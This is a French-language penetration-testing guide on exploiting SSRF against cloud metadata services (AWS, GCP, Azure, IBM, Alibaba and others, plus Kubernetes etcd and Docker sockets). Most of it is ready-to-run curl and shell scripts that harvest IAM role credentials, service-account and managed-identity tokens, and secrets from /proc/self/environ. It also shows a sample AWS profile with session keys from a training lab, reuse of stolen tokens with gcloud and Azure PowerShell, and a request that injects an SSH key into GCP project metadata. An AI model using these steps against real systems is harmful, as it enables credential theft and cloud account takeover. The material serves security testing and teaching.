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Abus de SSRF dans l'environnement AWS EC2

La métadonnée peut être accédée depuis n'importe quelle machine EC2 et offre des informations intéressantes à son sujet. Elle est accessible à l'URL : http://169.254.169.254 (informations sur la métadonnée ici).

Il existe 2 versions de la métadonnée. La première permet d'accéder à la métadonnée via des requêtes GET (donc toute SSRF peut l'exploiter). Pour la version 2, IMDSv2, vous devez demander un jeton en envoyant une requête PUT avec un en-tête HTTP puis utiliser ce jeton pour accéder à la métadonnée avec un autre en-tête HTTP (donc c'est plus compliqué à exploiter avec une SSRF).

Notez que si l'instance EC2 impose IMDSv2, selon la documentation, la réponse de la requête PUT aura une limite de saut de 1, rendant impossible l'accès à la métadonnée EC2 depuis un conteneur à l'intérieur de l'instance EC2.

De plus, IMDSv2 bloquera également les requêtes pour récupérer un jeton qui incluent l'en-tête X-Forwarded-For. Cela vise à empêcher les proxies inverses mal configurés d'y accéder.

Vous pouvez trouver des informations sur les points de terminaison de métadonnées dans la documentation. Dans le script suivant, certaines informations intéressantes en sont extraites :

EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""

Comme exemple d'exposition de credentials IAM publiquement disponibles, vous pouvez visiter : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

Vous pouvez également vérifier les credentials de sécurité EC2 publics sur : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Vous pouvez ensuite utiliser ces credentials avec l'AWS CLI. Cela vous permettra de faire tout ce que le rôle a la permission de faire.

Pour profiter des nouveaux credentials, vous devrez créer un nouveau profil AWS comme celui-ci :

[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

Remarquez le aws_session_token, c'est indispensable pour que le profil fonctionne.

PACU peut être utilisé avec les identifiants découverts pour connaître vos privilèges et essayer d'escalader les privilèges

SSRF dans les informations d'identification AWS ECS (Container Service)

ECS, est un groupe logique d'instances EC2 sur lesquelles vous pouvez exécuter une application sans avoir à mettre à l'échelle votre propre infrastructure de gestion de cluster car ECS s'occupe de cela pour vous. Si vous parvenez à compromettre le service s'exécutant dans ECS, les points de terminaison de métadonnées changent.

Si vous accédez à http://169.254.170.2/v2/credentials/<GUID> vous trouverez les informations d'identification de la machine ECS. Mais d'abord, vous devez trouver le <GUID>. Pour trouver le <GUID>, vous devez lire la variable environ AWS_CONTAINER_CREDENTIALS_RELATIVE_URI à l'intérieur de la machine. Vous pourriez être en mesure de le lire en exploitant une traversal de chemin vers file:///proc/self/environ L'adresse http mentionnée devrait vous donner l'AccessKey, SecretKey et le jeton.

curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -

Notez que dans certains cas, vous pourrez accéder à l'instance de métadonnées EC2 à partir du conteneur (vérifiez les limitations de TTL IMDSv2 mentionnées précédemment). Dans ces scénarios, à partir du conteneur, vous pourriez accéder à la fois au rôle IAM du conteneur et au rôle IAM EC2.

SSRF pour AWS Lambda

Dans ce cas, les informations d'identification sont stockées dans des variables d'environnement. Ainsi, pour y accéder, vous devez accéder à quelque chose comme file:///proc/self/environ.

Les noms des variables d'environnement intéressantes sont :

  • AWS_SESSION_TOKEN

  • AWS_SECRET_ACCESS_KEY

  • AWS_ACCES_KEY_ID

De plus, en plus des informations d'identification IAM, les fonctions Lambda ont également des données d'événement qui sont transmises à la fonction lors de son démarrage. Ces données sont mises à la disposition de la fonction via l'interface d'exécution et pourraient contenir des informations sensibles (comme à l'intérieur des stageVariables). Contrairement aux informations d'identification IAM, ces données sont accessibles via SSRF standard à http://localhost:9001/2018-06-01/runtime/invocation/next.

Notez que les informations d'identification lambda se trouvent dans les variables d'environnement. Ainsi, si la trace de la pile du code lambda imprime les variables d'environnement, il est possible de les exfiltrer en provoquant une erreur dans l'application.

URL SSRF pour AWS Elastic Beanstalk

Nous récupérons l'accountId et la région à partir de l'API.

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Nous récupérons ensuite l'AccessKeyId, le SecretAccessKey et le Token de l'API.

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Ensuite, nous utilisons les identifiants avec aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.

GCP

Vous pouvez trouver ici la documentation sur les points de terminaison de métadonnées.

URL SSRF pour Google Cloud

Nécessite l'en-tête HTTP Metadata-Flavor: Google et vous pouvez accéder au point de terminaison de métadonnées avec les URLs suivantes :

  • http://169.254.169.254

  • http://metadata.google.internal

  • http://metadata

Points de terminaison intéressants pour extraire des informations :

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

Beta ne nécessite PAS d'en-tête pour le moment (merci à Mathias Karlsson @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

Pour utiliser le jeton de compte de service exfiltré, vous pouvez simplement faire :

# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file

Ajouter une clé SSH

Extraire le jeton

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

Vérifiez la portée du jeton (avec la sortie précédente ou en exécutant ce qui suit)

curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}

Maintenant poussez la clé SSH.

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

Fonctions Cloud

L'endpoint de métadonnées fonctionne de la même manière que dans les VM mais sans certains endpoints:

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id

# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done

Digital Ocean

Il n'y a pas de choses comme les rôles AWS ou les comptes de service GCP, donc ne vous attendez pas à trouver des informations d'identification de métadonnées

Documentation disponible sur https://developers.digitalocean.com/documentation/metadata/

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq

Azure

Azure VM

Docs in here.

  • Doit contenir l'en-tête Metadata: true

  • Ne doit pas contenir d'en-tête X-Forwarded-For

HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"

Azure App Service

À partir de env, vous pouvez obtenir les valeurs de IDENTITY_HEADER et IDENTITY_ENDPOINT. Vous pouvez les utiliser pour récupérer un jeton afin de communiquer avec le serveur de métadonnées.

La plupart du temps, vous voulez un jeton pour l'une de ces ressources :

# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# You should also be able to find the folder:
ls /opt/microsoft
#and the file
ls /opt/microsoft/msodbcsql17

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

# API
# Get Subscriptions
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
curl -H "Authorization: $TOKEN" "$URL"
# Get current permission on resources in the subscription
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
curl -H "Authorization: $TOKEN" "$URL"
# Get permissions in a VM
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl -H "Authorization: $TOKEN" "$URL"
# API request in powershell to management endpoint
$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# API request to graph endpoint (get enterprise applications)
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# Using AzureAD Powershell module witho both management and graph tokens
$token = 'eyJ0e..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc

# Try to get current perms over resources
Get-AzResource
## The following error means that the user doesn't have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet

IBM Cloud

Notez qu'avec IBM, par défaut, les métadonnées ne sont pas activées, il est donc possible que vous ne puissiez pas y accéder même si vous êtes à l'intérieur d'une machine virtuelle IBM Cloud.

export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq

La documentation des services de métadonnées de différentes plateformes est décrite ci-dessous, mettant en évidence les méthodes permettant d'accéder aux informations de configuration et d'exécution des instances. Chaque plateforme propose des points de terminaison uniques pour accéder à ses services de métadonnées.

Packetcloud

Pour accéder aux métadonnées de Packetcloud, la documentation se trouve à l'adresse suivante : https://metadata.packet.net/userdata

OpenStack/RackSpace

La nécessité d'un en-tête n'est pas mentionnée. Les métadonnées peuvent être consultées via :

  • http://169.254.169.254/openstack

HP Helion

La nécessité d'un en-tête n'est pas mentionnée ici non plus. Les métadonnées sont accessibles à l'adresse :

  • http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

Oracle Cloud propose une série de points de terminaison pour accéder à divers aspects des métadonnées :

  • http://192.0.0.192/latest/

  • http://192.0.0.192/latest/user-data/

  • http://192.0.0.192/latest/meta-data/

  • http://192.0.0.192/latest/attributes/

Alibaba

Alibaba propose des points de terminaison pour accéder aux métadonnées, y compris les identifiants d'instance et d'image :

  • http://100.100.100.200/latest/meta-data/

  • http://100.100.100.200/latest/meta-data/instance-id

  • http://100.100.100.200/latest/meta-data/image-id

Kubernetes ETCD

Kubernetes ETCD peut contenir des clés API, des adresses IP internes et des ports. L'accès est démontré via :

  • curl -L http://127.0.0.1:2379/version

  • curl http://127.0.0.1:2379/v2/keys/?recursive=true

Docker

Les métadonnées Docker peuvent être consultées localement, avec des exemples donnés pour la récupération des informations sur les conteneurs et les images :

  • Exemple simple pour accéder aux métadonnées des conteneurs et des images via le socket Docker :

  • docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash

  • À l'intérieur du conteneur, utilisez curl avec le socket Docker :

  • curl --unix-socket /var/run/docker.sock http://foo/containers/json

  • curl --unix-socket /var/run/docker.sock http://foo/images/json

Rancher

Les métadonnées de Rancher peuvent être consultées en utilisant :

  • curl http://rancher-metadata/<version>/<path>

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